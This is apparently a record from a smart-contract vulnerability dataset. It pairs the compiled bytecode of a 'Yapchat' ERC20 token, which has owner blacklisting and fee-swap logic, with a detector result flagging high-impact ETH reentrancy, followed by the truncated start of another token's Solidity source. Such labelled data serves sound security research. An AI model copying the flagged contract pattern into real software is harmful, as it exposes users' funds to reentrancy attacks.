0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f5961706368617400000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600381526020017f5941500000000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129a668056bc75e2d6310000060065461267690919063ffffffff16565b8210156129c55760065468056bc75e2d631000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077bb4ab57cce1d0bdc619fa8b3ed81b2521c68a5b56768921e7eb6253979770864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,730 |
0x81f8eac4172a4c059ed87133247530d6df6fb77a
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
/*
The Doge Shit Token
* 1,000,000,000,000 token supply
* No team tokens, no presale
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
